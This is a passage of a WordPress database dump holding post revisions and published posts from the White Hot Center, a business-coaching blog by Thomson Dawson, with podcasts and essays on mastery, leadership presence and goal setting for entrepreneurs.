(2766, 2, '2014-08-26 17:23:19', '2014-08-27 00:23:19', '<img class="alignnone size-full wp-image-2761" title="Mastery" src="http://whc.fbdev.org/wp-content/uploads/2014/08/Mastery.jpg" alt="" width="495" height="371" />\r\n\r\nOur popular business literature is full of proclamations on what mastery is and requires of people and organizations. I am particularly amused with the accepted idea that mastery is simply the result of 10,000 hours of practice. According to the conventional wisdom after that amount of time invested you’re considered to be a master.\r\n\r\nMastery is not about the time you put in because, in itself, mastery is timeless. In this podcast, I share some ideas about mastery and what’s really involved in being a Master Jedi style.\r\n\r\nPlease share your comments and if you found this helpful, please subscribe to the White Hot Center!\r\n\r\n[podcast format="video"]http://whc.fbdev.org/wp-content/uploads/2014/08/WHC-Podcast_-In-Search-Of-Mastery.mp3[/podcast]\r\n\r\n&nbsp;', 'WHC Podcast: In Search of Mastery.', 0, '', 'inherit', 'open', 'open', '', '2759-revision-5', '', '', '2014-08-26 17:23:19', '2014-08-27 00:23:19', '', 2759, 'http://www.whitehotcenter.com/2014/08/2759-revision-5/', 0, 'revision', '', 0),
(2767, 2, '2014-08-26 17:33:09', '2014-08-27 00:33:09', '<img class="alignnone size-full wp-image-2761" title="Mastery" src="http://whc.fbdev.org/wp-content/uploads/2014/08/Mastery.jpg" alt="" width="495" height="371" />\n\nOur popular business literature is full of proclamations on what mastery is and requires of people and organizations. I am particularly amused with the accepted idea that mastery is simply the result of 10,000 hours of practice. According to the conventional wisdom after that amount of time invested you’re considered to be a master.\n\nMastery is not about the time you put in because, in itself, mastery is timeless. In this podcast, I share some ideas about mastery and what’s really involved in being a Master Jedi style.\n\nPlease share your comments and if you found this helpful, please subscribe to the White Hot Center!\n\n[podcast format="video"]http://whc.fbdev.org/wp-content/uploads/2014/08/WHC-Podcast_-In-Search-Of-Mastery.mp3[/podcast]\n\n&nbsp;', 'WHC Podcast: In Search of Mastery.', 0, '', 'inherit', 'open', 'open', '', '2759-autosave', '', '', '2014-08-26 17:33:09', '2014-08-27 00:33:09', '', 2759, 'http://www.whitehotcenter.com/2014/08/2759-autosave/', 0, 'revision', '', 0),
(2768, 2, '2014-08-26 17:23:44', '2014-08-27 00:23:44', '<img class="alignnone size-full wp-image-2761" title="Mastery" src="http://whc.fbdev.org/wp-content/uploads/2014/08/Mastery.jpg" alt="" width="495" height="371" />\r\n\r\nOur popular business literature is full of proclamations on what mastery is and requires of people and organizations. I am particularly amused with the accepted idea that mastery is simply the result of 10,000 hours of practice. According to the conventional wisdom after that amount of time invested you’re considered to be a master.\r\n\r\nMastery is not about the time you put in because, in itself, mastery is timeless. In this podcast, I share some ideas about mastery and what’s really involved in being a Master Jedi style.\r\n\r\nPlease share your comments and if you found this helpful, please subscribe to the White Hot Center!\r\n\r\n[podcast format="video"]http://whc.fbdev.org/wp-content/uploads/2014/08/WHC-Podcast_-In-Search-Of-Mastery.mp3[/podcast]\r\n\r\n&nbsp;', 'WHC Podcast: In Search of Mastery.', 0, '', 'inherit', 'open', 'open', '', '2759-revision-6', '', '', '2014-08-26 17:23:44', '2014-08-27 00:23:44', '', 2759, 'http://www.whitehotcenter.com/2014/08/2759-revision-6/', 0, 'revision', '', 0),
(2771, 2, '2014-09-15 14:29:18', '2014-09-15 21:29:18', '<img class="alignnone size-full wp-image-2770" title="Leadership is the quality of your presence." src="http://whc.fbdev.org/wp-content/uploads/2014/09/presence.gif" alt="" width="500" height="379" />\n\nAs a creative entrepreneur and solo professional, you already know how vitally important it is to your success that you be an effective and well-respected leader– one who is recognized for your mastery. In this podcast, I''ll discuss what it takes to elevate the quality of your presence and your competitive advantage in the marketplace.', 'WHC Podcast: Leadership = the quality of your presence.', 0, '', 'inherit', 'open', 'open', '', '2769-revision', '', '', '2014-09-15 14:29:18', '2014-09-15 21:29:18', '', 2769, 'http://www.whitehotcenter.com/2014/09/2769-revision/', 0, 'revision', '', 0),
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(2779, 2, '2014-09-15 14:39:35', '2014-09-15 21:39:35', '<img class="alignnone size-full wp-image-2770" title="Leadership is the quality of your presence." src="http://whc.fbdev.org/wp-content/uploads/2014/09/presence.gif" alt="" width="500" height="379" />\n\nAs a creative entrepreneur and solo professional, you already know how vitally important it is to your success that you be an effective and well-respected leader– one who is recognized for your mastery. In this podcast, I''ll discuss what it takes to elevate the quality of your presence and your competitive advantage in the marketplace.\n\n&nbsp;\n\n[podcast format="video"]http://whc.fbdev.org/wp-content/uploads/2014/09/PodCastLeadership9.10.14.mp3[/podcast]', 'WHC Podcast: Leadership = the quality of your presence.', 0, '', 'inherit', 'open', 'open', '', '2769-autosave', '', '', '2014-09-15 14:39:35', '2014-09-15 21:39:35', '', 2769, 'http://www.whitehotcenter.com/2014/09/2769-autosave/', 0, 'revision', '', 0),
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(2782, 2, '2014-06-25 15:30:17', '2014-06-25 22:30:17', '<h2><img class="alignnone size-full wp-image-2360" title="Thomson Dawson" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson60whc.jpg" alt="" width="495" height="307" /></h2>\r\n<h2>Inspiration, guidance and creativity for early stage entrepreneurs and small business owners who want more impact, influence and income.</h2>\r\nI’m delighted you have found your way here to the White Hot Center. If you’re an early stage entrepreneur, solo professional or small business owner, and you’re seeking useful information to take your business (and your whole life experience) to the next level, you’ve come to the right place. It’s my pleasure to welcome you!\r\n\r\nMy purpose here is to inspire you to greater clarity and confidence in elevating the quality of your presence in the marketplace, enabling you to attract greater opportunity serving higher value customers and clients and making your competition irrelevant.\r\n\r\nThe heart and soul of our conversation here is centered in our mutual interest and burning desire to experience a creative life of success and significance in equal measure. Our shared passion and purpose bonds us together–we are creative entrepreneurs at the intersection and integration of career and calling pursuing what deeply matters to us and improves the condition of our clients and customers.\r\n<h2>As entrepreneurs, we intuitively know our sustained growth and success is the result of certain mindset. We focus on creating bigger better futures for our customers and clients knowing we can only receive more by becoming more.</h2>\r\nLike you, I’m fully committed to bringing more value to the world.  After nearly 30 years of business transformation and creative consulting with marketing executives in hundreds of leading organizations, I became obsessed with sharing my insight and expertise with early-stage entrepreneurs at the beginning of their success journey.\r\n\r\nThe White Hot Center is the expression of my passion for sharing ideas on personal and professional growth, leadership, value creation, innovation, brand strategy and marketing, business development and customer engagement.\r\n\r\nThroughout the blog, you’ll find ideas for elevating the quality of your presence in the marketplace by expanding your capacity to serve others and create more value!\r\n\r\nAnd in the process, inspire you to action creating a life experience full of contribution, deep satisfaction, fulfillment, personal freedom and financial success.\r\n\r\nIf you find the ideas presented useful to your growth and expansion, please leave your comments and share with all your social networks. If you like, <a href="http://whc.fbdev.org/">subscribe to receive the White Hot Center </a>posts directly in your inbox.\r\n\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2009/05/whc.thomson-51.jpg"><img class="alignnone size-full wp-image-2361" title="Thomson Speaking" src="http://whc.fbdev.org/wp-content/uploads/2009/05/whc.thomson-51.jpg" alt="" width="495" height="252" /></a>\r\n<img class="alignnone size-full wp-image-2363" title="Thomson Leading Seminar" src="http://whc.fbdev.org/wp-content/uploads/2009/05/unconference.jpg" alt="" width="495" height="188" />\r\n<h3><strong>Work with me!</strong></h3>\r\nI offer individual issue-based business transformation and creative consulting, group workshops and seminar trainings, tailored to entrepreneurs, solo professionals and small business owners at the beginning stages of their business growth and for those whose business growth has reached a plateau. You can review these programs under the "consulting" link in the main menu.\r\n\r\nMy individual consulting clients have at least three years of entrepreneurial experience and have annual incomes of $100K+ and seek to double or triple their income. The small business organizations I advise have annual revenues from $5-50million+. If you sense a good fit to help you accomplish your personal effectiveness and business goals, please <a title="Email Thomson Dawson" href="mailto://thomson@whitehotcenter.com" target="_blank">email </a>directly.\r\n\r\nTo you inspired success,\r\n\r\nThomson Dawson\r\nBusiness Transformation and Creative Consultant\r\n\r\n<a href="http://www.linkedin.com/in/thomsondawson" target="_blank"><strong>Check out my Linkedin Profile</strong></a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2014-06-25 15:30:17', '2014-06-25 22:30:17', '', 172, 'http://www.whitehotcenter.com/2014/06/172-revision-168/', 0, 'revision', '', 0),
(2783, 2, '2014-09-18 15:05:26', '2014-09-18 22:05:26', '<h2></h2>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/Thomson-3-20141.jpg"><img class="alignnone size-full wp-image-2781" title="Thomson Dawson Business Transformation Consultant" src="http://whc.fbdev.org/wp-content/uploads/2009/05/Thomson-3-20141.jpg" alt="" width="495" height="279" /></a></h2>\r\n<h2>Inspiration, guidance and creativity for early stage entrepreneurs and small business owners who want more impact, influence and income.</h2>\r\nI’m delighted you have found your way here to the White Hot Center. If you’re an early stage entrepreneur, solo professional or small business owner, and you’re seeking useful information to take your business (and your whole life experience) to the next level, you’ve come to the right place. It’s my pleasure to welcome you!\r\n\r\nMy purpose here is to inspire you to greater clarity and confidence in elevating the quality of your presence in the marketplace, enabling you to attract greater opportunity serving higher value customers and clients and making your competition irrelevant.\r\n\r\nThe heart and soul of our conversation here is centered in our mutual interest and burning desire to experience a creative life of success and significance in equal measure. Our shared passion and purpose bonds us together–we are creative entrepreneurs at the intersection and integration of career and calling pursuing what deeply matters to us and improves the condition of our clients and customers.\r\n<h2>As entrepreneurs, we intuitively know our sustained growth and success is the result of certain mindset. We focus on creating bigger better futures for our customers and clients knowing we can only receive more by becoming more.</h2>\r\nLike you, I’m fully committed to bringing more value to the world.  After nearly 30 years of business transformation and creative consulting with marketing executives in hundreds of leading organizations, I became obsessed with sharing my insight and expertise with early-stage entrepreneurs at the beginning of their success journey.\r\n\r\nThe White Hot Center is the expression of my passion for sharing ideas on personal and professional growth, leadership, value creation, innovation, brand strategy and marketing, business development and customer engagement.\r\n\r\nThroughout the blog, you’ll find ideas for elevating the quality of your presence in the marketplace by expanding your capacity to serve others and create more value!\r\n\r\nAnd in the process, inspire you to action creating a life experience full of contribution, deep satisfaction, fulfillment, personal freedom and financial success.\r\n\r\nIf you find the ideas presented useful to your growth and expansion, please leave your comments and share with all your social networks. If you like, <a href="http://whc.fbdev.org/">subscribe to receive the White Hot Center </a>posts directly in your inbox.\r\n\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2009/05/whc.thomson-51.jpg"><img class="alignnone size-full wp-image-2361" title="Thomson Speaking" src="http://whc.fbdev.org/wp-content/uploads/2009/05/whc.thomson-51.jpg" alt="" width="495" height="252" /></a>\r\n<img class="alignnone size-full wp-image-2363" title="Thomson Leading Seminar" src="http://whc.fbdev.org/wp-content/uploads/2009/05/unconference.jpg" alt="" width="495" height="188" />\r\n<h3><strong>Work with me!</strong></h3>\r\nI offer individual issue-based business transformation and creative consulting, group workshops and seminar trainings, tailored to entrepreneurs, solo professionals and small business owners at the beginning stages of their business growth and for those whose business growth has reached a plateau. You can review these programs under the "consulting" link in the main menu.\r\n\r\nMy individual consulting clients have at least three years of entrepreneurial experience and have annual incomes of $100K+ and seek to double or triple their income. The small business organizations I advise have annual revenues from $5-50million+. If you sense a good fit to help you accomplish your personal effectiveness and business goals, please <a title="Email Thomson Dawson" href="mailto://thomson@whitehotcenter.com" target="_blank">email </a>directly.\r\n\r\nTo you inspired success,\r\n\r\nThomson Dawson\r\nBusiness Transformation and Creative Consultant\r\n\r\n<a href="http://www.linkedin.com/in/thomsondawson" target="_blank"><strong>Check out my Linkedin Profile</strong></a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2014-09-18 15:05:26', '2014-09-18 22:05:26', '', 172, 'http://www.whitehotcenter.com/2014/09/172-revision-169/', 0, 'revision', '', 0),
(2784, 1, '2010-07-01 18:35:57', '2010-07-02 01:35:57', '<img class="alignnone size-full wp-image-947" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-pic.gif" alt="" width="450" height="285" />\r\n<h2><span style="color: #ff6600;">White Hot Center podcasts and video posts will inspire and engage you to create a new levels of success in your business. Check our mix of ideas, interviews and business development tips! Topics will focus on your professional development, lifestyle design, value creation and demand generation. Plus you''ll be able to get solid advice and inspiration from other highly successful creative entrepreneurs who have paved the way forward. Please share your comments with us!</span></h2>', 'WHC Podcasts–Listen & Learn!', 0, '', 'inherit', 'open', 'open', '', '133-revision-v1', '', '', '2010-07-01 18:35:57', '2010-07-02 01:35:57', '', 133, 'http://www.whitehotcenter.com/2010/07/133-revision-43/', 0, 'revision', '', 0),
(2785, 2, '2014-09-18 15:15:12', '2014-09-18 22:15:12', '<img class="alignnone size-full wp-image-947" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-pic.gif" alt="" width="450" height="285" />\r\n<h2><span style="color: #ff6600;">White Hot Center podcasts and video posts will inspire and engage you to create a new levels of success in your business. Check our mix of ideas and insights on personal growth, leadership  business development. Topics will focus on your professional development, lifestyle design, value creation and demand generation. </span></h2>\r\n<h2><span style="color: #ff6600;">Of course your comments are most welcome and much appreciated. Please share your comments with the White Hot Center Community!</span></h2>', 'WHC Podcasts–Listen & Learn!', 0, '', 'inherit', 'open', 'open', '', '133-revision-v1', '', '', '2014-09-18 15:15:12', '2014-09-18 22:15:12', '', 133, 'http://www.whitehotcenter.com/2014/09/133-revision-44/', 0, 'revision', '', 0),
(2786, 2, '2014-09-18 15:15:33', '2014-09-18 22:15:33', '<img class="alignnone size-full wp-image-947" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-pic.gif" alt="" width="450" height="285" />\r\n<h2><span style="color: #ff6600;">White Hot Center podcasts and video posts will inspire and engage you to create a new levels of success in your business. Check our mix of ideas and insights on personal growth, leadership  business development. Topics will focus on your professional development, lifestyle design, value creation and demand generation. </span></h2>\r\n<h2><span style="color: #ff6600;">Of course your comments are most welcome and much appreciated. Please share your comments with the White Hot Center Community!</span></h2>\r\n&nbsp;', 'WHC Podcasts–Listen & Learn!', 0, '', 'inherit', 'open', 'open', '', '133-revision-v1', '', '', '2014-09-18 15:15:33', '2014-09-18 22:15:33', '', 133, 'http://www.whitehotcenter.com/2014/09/133-revision-45/', 0, 'revision', '', 0),
(2787, 2, '2014-09-18 15:18:47', '2014-09-18 22:18:47', '<img class="alignnone size-full wp-image-947" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-pic.gif" alt="" width="450" height="285" />\r\n<h2><span style="color: #ff6600;">White Hot Center podcasts and video posts will inspire and engage you to create a new levels of success in your business. Check our mix of ideas and insights on personal growth, leadership  business development. Topics will focus on your professional development, lifestyle design, value creation and demand generation. </span></h2>\r\n<h2><span style="color: #ff6600;">Of course your comments are most welcome and much appreciated. Please share your comments with the White Hot Center Community!</span></h2>\r\n&nbsp;', 'WHC Podcasts–Listen & Learn!', 0, '', 'inherit', 'open', 'open', '', '133-revision-v1', '', '', '2014-09-18 15:18:47', '2014-09-18 22:18:47', '', 133, 'http://www.whitehotcenter.com/2014/09/133-revision-46/', 0, 'revision', '', 0),
(2788, 2, '2014-09-18 15:21:34', '2014-09-18 22:21:34', '<img class="alignnone size-full wp-image-947" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-pic.gif" alt="" width="450" height="285" />\r\n<h2><span style="color: #ff6600;">White Hot Center podcasts and video posts will inspire and engage you to create a new levels of success in your business. Check our mix of ideas and insights on personal growth, leadership and business development strategies. Topics will focus on your professional development, lifestyle design, value creation and demand generation. </span></h2>\r\n<h2><span style="color: #ff6600;">Of course your comments are most welcome and much appreciated. Please share your comments with the White Hot Center Community!</span></h2>\r\n&nbsp;', 'WHC Podcasts–Listen & Learn!', 0, '', 'inherit', 'open', 'open', '', '133-revision-v1', '', '', '2014-09-18 15:21:34', '2014-09-18 22:21:34', '', 133, 'http://www.whitehotcenter.com/2014/09/133-revision-47/', 0, 'revision', '', 0),
(2789, 2, '2014-09-18 15:25:05', '2014-09-18 22:25:05', '<img class="alignnone size-full wp-image-947" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-pic.gif" alt="" width="450" height="285" />\r\n<h2><span style="color: #ff6600;">White Hot Center podcasts and video posts will inspire and engage you to create a new levels of success in your business. Check our mix of ideas and insights on personal growth, leadership and business development strategies. Topics will focus on your professional development, lifestyle design, value creation and demand generation. </span></h2>\r\n<h2><span style="color: #ff6600;">Of course your comments are most welcome and much appreciated. Please share your comments with the White Hot Center Community!</span></h2>\r\n&nbsp;', 'WHC Podcasts–Listen & Learn!', 0, '', 'inherit', 'open', 'open', '', '133-revision-v1', '', '', '2014-09-18 15:25:05', '2014-09-18 22:25:05', '', 133, 'http://www.whitehotcenter.com/2014/09/133-revision-48/', 0, 'revision', '', 0),
(2808, 2, '2014-12-22 11:44:26', '2014-12-22 18:44:26', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2014/12/give-advice.jpg"><img class="alignnone size-full wp-image-2816" title="Five Keys to Effective Sales Conversations" src="http://whc.fbdev.org/wp-content/uploads/2014/12/give-advice.jpg" alt="" width="495" height="399" /></a>\r\nWhen you get that big moment to have your first conversation with a prospective client you’ve been working on for months, remember to be influential with customers, it’s about service not selling!</h2>\r\nFor those reading on your mobile devices that don''t support Flash, please follow the links to the web site for the podacst.\r\n\r\n[podcast format="video"]http://whc.fbdev.org/wp-content/uploads/2014/12/Podcast5keys-to-sales.mp3[/podcast]', 'WHC Podcast:  Five keys to be more influential in your sales conversations', 0, '', 'publish', 'open', 'open', '', 'whc-podcast-five-keys-to-be-more-influential-in-your-sales-conversations', '', '', '2014-12-22 11:44:26', '2014-12-22 18:44:26', '', 0, 'http://www.whitehotcenter.com/?p=2808', 0, 'post', '', 0),
(2791, 2, '2014-09-19 10:54:12', '2014-09-19 17:54:12', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/09/goal-steeting.jpg"><img class="alignnone size-full wp-image-2792" title="Goals are navigational markers not a destination." src="http://whc.fbdev.org/wp-content/uploads/2014/09/goal-steeting.jpg" alt="" width="495" height="357" /></a>\r\n<h1>So much information is now available about goals, goal setting and goal achievement it’s become a cacophony of white noise.</h1>\r\nAs a culture, we place a big premium on metrics–achieving our goals, creating success, making our quota, beating our competitors. The ability to set and achieve goals is a highly valued characteristic particularly in business.\r\n\r\nIf you google “goal setting and achievement”– you’ll discover there are over 3 million search results. Everyone knows you have to set goals to achieve anything!\r\n\r\nDespite the plethora of available information, there’s no point in setting goals if you don’t know where you’re at and you’re not clear about where you’re going. Goals are navigational markers along a continuous progressive path, they’re not a destination.\r\n\r\nWhat I’m suggesting is goal setting is pointless without first knowing what behaviors have brought you to exactly where you are in life and business right now, and in what direction will your vision, dream or desire for something greater take you. Without this insight, your goals will be a fuzzy abstraction.\r\n\r\n<strong>Being on the right path with insight to set the right goals.</strong>\r\n\r\nWhat many early stage entrepreneurs and solo professionals lack and need more than goal setting information is solid insight into the path (commitment) that holds the greatest opportunity for them (and their business) to become greater than they are now.\r\n\r\nMost entrepreneurs are really good at setting goals and achieving them. I know I’m sure good at it. The trouble was, early on in my career, I set the wrong goals. I was more concerned with what I would get from achieving rather than what I would become as a result of achieving.\r\n\r\nI also set the bar low. Heaven help me if I failed to reach a stated lofty goal and have everyone laughing at my foolishness. I played it safe and achieved every safe goal I had set for myself. I was an eager goal achiever more invested in market acceptance than market leadership.\r\n\r\nLet that not be you!\r\n<h2>Your ability to design your bigger future depends on your creative, marvelous mind being in a state of joyous anticipation, rather than in a state of confused apprehension.</h2>\r\nLike a Jedi master, this is an essential first principle every entrepreneur must master early on in the game. Apprehension creates uncertainty, Uncertainty diminishes confidence, and diminished confidence forces you to play it safe, which in turn, dooms you and your business to the slush pile.\r\n\r\nThe price you will pay to achieve any goal will be far easier to pay if the promise of your sacred vision is clear to you and your whole being is deeply committed to the ideal of achieving it.\r\n\r\nBefore setting goals:\r\n\r\n<strong>Point your life (and business) towards a path where the demands are high and far beyond the status quo. Be true to yourself and your vision. Before you set any goal remember to think about what it will make of you rather than what you will get for achieving it.</strong>\r\n\r\n<strong> </strong><em>If you found this post helpful, please subscribe to the blog in the form at the top of the page.</em>', 'Goals are navigational markers not a destination.', 0, '', 'publish', 'open', 'open', '', 'goals-are-navigational-markers-not-a-destination', '', '', '2014-09-19 10:54:12', '2014-09-19 17:54:12', '', 0, 'http://www.whitehotcenter.com/?p=2791', 0, 'post', '', 1),
(2792, 2, '2014-09-19 10:37:35', '2014-09-19 17:37:35', '', 'Goals are navigational markers not a destination.', 0, '', 'inherit', 'open', 'open', '', 'goal-steeting', '', '', '2014-09-19 10:37:35', '2014-09-19 17:37:35', '', 2791, 'http://www.whitehotcenter.com/wp-content/uploads/2014/09/goal-steeting.jpg', 0, 'attachment', 'image/jpeg', 0),
(2793, 2, '2014-09-19 10:42:05', '2014-09-19 17:42:05', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/09/goal-steeting.jpg"><img class="alignnone size-full wp-image-2792" title="Goals are navigational markers not a destination." src="http://whc.fbdev.org/wp-content/uploads/2014/09/goal-steeting.jpg" alt="" width="495" height="357" /></a>\n<h1>So much information is now available about goals, goal setting and goal achievement it’s become a cacophony of white noise.</h1>\nAs a culture, we place a big premium on metrics–achieving our goals, creating success, making our quota, beating our competitors. The ability to set and achieve goals is a highly valued characteristic particularly in business.\n\nIf you google “goal setting and achievement”– you’ll discover there are over 3 million search results. Everyone knows you have to set goals to achieve anything!\n\nDespite the plethora of available information, there’s no point in setting goals if you don’t know where you’re at and you’re not clear about where you’re going. Goals are navigational markers along a continuous progressive path, they’re not a destination.\n\nWhat I’m suggesting is goal setting is pointless without first knowing what behaviors have brought you to exactly where you are in life and business right now, and in what direction will your vision, dream or desire for something greater will take you. Without this insight, your goals will be a fuzzy abstraction.\n\n<strong>Being on the right path with insight to set the right goals.</strong>\n\nWhat many early stage entrepreneurs and solo professionals lack and need more than goal setting information is solid insight into the path (commitment) that holds the greatest opportunity for them (and their business) to become greater than they are now.\n\n&nbsp;\n\nMost entrepreneurs are really good at setting goals and achieving them. I know I’m sure good at it. The trouble was, early on in my career, I set the wrong goals. I was more concerned with what I would get from achieving rather than what I would become as a result of achieving.\n\nI also set the bar low. Heaven help me if I failed to reach a stated lofty goal and have everyone laughing at my foolishness. I played it safe and achieved every safe goal I had set for myself. I was an eager goal achiever more invested in market acceptance than market leadership.\n\nLet that not be you!\n<h2>Your ability to design your bigger future depends on your creative, marvelous mind being in a state of joyous anticipation, rather than in a state of confused apprehension.</h2>\nLike a Jedi master, this is an essential first principle every entrepreneur must master early on in the game. Apprehension creates uncertainty, Uncertainty dimishes confidence, and dimished confidence forces you to play it safe, which in turn, dooms you and your business to the slush pile.\n\nThe price you will pay to achieve any goal will be far easier to pay if the promise of your sacred vision is clear to you and your whole being is deeply committed to the ideal of achieving it.\n\nBefore setting goals:\n\n<strong>Point your life (and business) towards a path where the demands are high and far beyond the status quo. Be true to yourself and your vision. Before you set any goal remember to think about what it will make of you rather than what you will get for achieving it.</strong>\n\n<strong> </strong><em>If you found this post helpful, please subscribe to the blog in the form at the top of the page.</em>', 'Goals are navigational markers not a destination.', 0, '', 'inherit', 'open', 'open', '', '2791-revision', '', '', '2014-09-19 10:42:05', '2014-09-19 17:42:05', '', 2791, 'http://www.whitehotcenter.com/2014/09/2791-revision/', 0, 'revision', '', 0),
(2796, 2, '2014-09-19 10:44:28', '2014-09-19 17:44:28', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/09/goal-steeting.jpg"><img class="alignnone size-full wp-image-2792" title="Goals are navigational markers not a destination." src="http://whc.fbdev.org/wp-content/uploads/2014/09/goal-steeting.jpg" alt="" width="495" height="357" /></a>\r\n<h1>So much information is now available about goals, goal setting and goal achievement it’s become a cacophony of white noise.</h1>\r\nAs a culture, we place a big premium on metrics–achieving our goals, creating success, making our quota, beating our competitors. The ability to set and achieve goals is a highly valued characteristic particularly in business.\r\n\r\nIf you google “goal setting and achievement”– you’ll discover there are over 3 million search results. Everyone knows you have to set goals to achieve anything!\r\n\r\nDespite the plethora of available information, there’s no point in setting goals if you don’t know where you’re at and you’re not clear about where you’re going. Goals are navigational markers along a continuous progressive path, they’re not a destination.\r\n\r\nWhat I’m suggesting is goal setting is pointless without first knowing what behaviors have brought you to exactly where you are in life and business right now, and in what direction will your vision, dream or desire for something greater take you. Without this insight, your goals will be a fuzzy abstraction.\r\n\r\n<strong>Being on the right path with insight to set the right goals.</strong>\r\n\r\nWhat many early stage entrepreneurs and solo professionals lack and need more than goal setting information is solid insight into the path (commitment) that holds the greatest opportunity for them (and their business) to become greater than they are now.\r\n\r\nMost entrepreneurs are really good at setting goals and achieving them. I know I’m sure good at it. The trouble was, early on in my career, I set the wrong goals. I was more concerned with what I would get from achieving rather than what I would become as a result of achieving.\r\n\r\nI also set the bar low. Heaven help me if I failed to reach a stated lofty goal and have everyone laughing at my foolishness. I played it safe and achieved every safe goal I had set for myself. I was an eager goal achiever more invested in market acceptance than market leadership.\r\n\r\nLet that not be you!\r\n<h2>Your ability to design your bigger future depends on your creative, marvelous mind being in a state of joyous anticipation, rather than in a state of confused apprehension.</h2>\r\nLike a Jedi master, this is an essential first principle every entrepreneur must master early on in the game. Apprehension creates uncertainty, Uncertainty dimishes confidence, and dimished confidence forces you to play it safe, which in turn, dooms you and your business to the slush pile.\r\n\r\nThe price you will pay to achieve any goal will be far easier to pay if the promise of your sacred vision is clear to you and your whole being is deeply committed to the ideal of achieving it.\r\n\r\nBefore setting goals:\r\n\r\n<strong>Point your life (and business) towards a path where the demands are high and far beyond the status quo. Be true to yourself and your vision. Before you set any goal remember to think about what it will make of you rather than what you will get for achieving it.</strong>\r\n\r\n<strong> </strong><em>If you found this post helpful, please subscribe to the blog in the form at the top of the page.</em>', 'Goals are navigational markers not a destination.', 0, '', 'inherit', 'open', 'open', '', '2791-revision-4', '', '', '2014-09-19 10:44:28', '2014-09-19 17:44:28', '', 2791, 'http://www.whitehotcenter.com/2014/09/2791-revision-4/', 0, 'revision', '', 0),
(2794, 2, '2014-09-19 10:42:52', '2014-09-19 17:42:52', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/09/goal-steeting.jpg"><img class="alignnone size-full wp-image-2792" title="Goals are navigational markers not a destination." src="http://whc.fbdev.org/wp-content/uploads/2014/09/goal-steeting.jpg" alt="" width="495" height="357" /></a>\r\n<h1>So much information is now available about goals, goal setting and goal achievement it’s become a cacophony of white noise.</h1>\r\nAs a culture, we place a big premium on metrics–achieving our goals, creating success, making our quota, beating our competitors. The ability to set and achieve goals is a highly valued characteristic particularly in business.\r\n\r\nIf you google “goal setting and achievement”– you’ll discover there are over 3 million search results. Everyone knows you have to set goals to achieve anything!\r\n\r\nDespite the plethora of available information, there’s no point in setting goals if you don’t know where you’re at and you’re not clear about where you’re going. Goals are navigational markers along a continuous progressive path, they’re not a destination.\r\n\r\nWhat I’m suggesting is goal setting is pointless without first knowing what behaviors have brought you to exactly where you are in life and business right now, and in what direction will your vision, dream or desire for something greater will take you. Without this insight, your goals will be a fuzzy abstraction.\r\n\r\n<strong>Being on the right path with insight to set the right goals.</strong>\r\n\r\nWhat many early stage entrepreneurs and solo professionals lack and need more than goal setting information is solid insight into the path (commitment) that holds the greatest opportunity for them (and their business) to become greater than they are now.\r\n\r\nMost entrepreneurs are really good at setting goals and achieving them. I know I’m sure good at it. The trouble was, early on in my career, I set the wrong goals. I was more concerned with what I would get from achieving rather than what I would become as a result of achieving.\r\n\r\nI also set the bar low. Heaven help me if I failed to reach a stated lofty goal and have everyone laughing at my foolishness. I played it safe and achieved every safe goal I had set for myself. I was an eager goal achiever more invested in market acceptance than market leadership.\r\n\r\nLet that not be you!\r\n<h2>Your ability to design your bigger future depends on your creative, marvelous mind being in a state of joyous anticipation, rather than in a state of confused apprehension.</h2>\r\nLike a Jedi master, this is an essential first principle every entrepreneur must master early on in the game. Apprehension creates uncertainty, Uncertainty dimishes confidence, and dimished confidence forces you to play it safe, which in turn, dooms you and your business to the slush pile.\r\n\r\nThe price you will pay to achieve any goal will be far easier to pay if the promise of your sacred vision is clear to you and your whole being is deeply committed to the ideal of achieving it.\r\n\r\nBefore setting goals:\r\n\r\n<strong>Point your life (and business) towards a path where the demands are high and far beyond the status quo. Be true to yourself and your vision. Before you set any goal remember to think about what it will make of you rather than what you will get for achieving it.</strong>\r\n\r\n<strong> </strong><em>If you found this post helpful, please subscribe to the blog in the form at the top of the page.</em>', 'Goals are navigational markers not a destination.', 0, '', 'inherit', 'open', 'open', '', '2791-revision-2', '', '', '2014-09-19 10:42:52', '2014-09-19 17:42:52', '', 2791, 'http://www.whitehotcenter.com/2014/09/2791-revision-2/', 0, 'revision', '', 0);
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(2795, 2, '2014-09-19 10:42:58', '2014-09-19 17:42:58', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/09/goal-steeting.jpg"><img class="alignnone size-full wp-image-2792" title="Goals are navigational markers not a destination." src="http://whc.fbdev.org/wp-content/uploads/2014/09/goal-steeting.jpg" alt="" width="495" height="357" /></a>\r\n<h1>So much information is now available about goals, goal setting and goal achievement it’s become a cacophony of white noise.</h1>\r\nAs a culture, we place a big premium on metrics–achieving our goals, creating success, making our quota, beating our competitors. The ability to set and achieve goals is a highly valued characteristic particularly in business.\r\n\r\nIf you google “goal setting and achievement”– you’ll discover there are over 3 million search results. Everyone knows you have to set goals to achieve anything!\r\n\r\nDespite the plethora of available information, there’s no point in setting goals if you don’t know where you’re at and you’re not clear about where you’re going. Goals are navigational markers along a continuous progressive path, they’re not a destination.\r\n\r\nWhat I’m suggesting is goal setting is pointless without first knowing what behaviors have brought you to exactly where you are in life and business right now, and in what direction will your vision, dream or desire for something greater will take you. Without this insight, your goals will be a fuzzy abstraction.\r\n\r\n<strong>Being on the right path with insight to set the right goals.</strong>\r\n\r\nWhat many early stage entrepreneurs and solo professionals lack and need more than goal setting information is solid insight into the 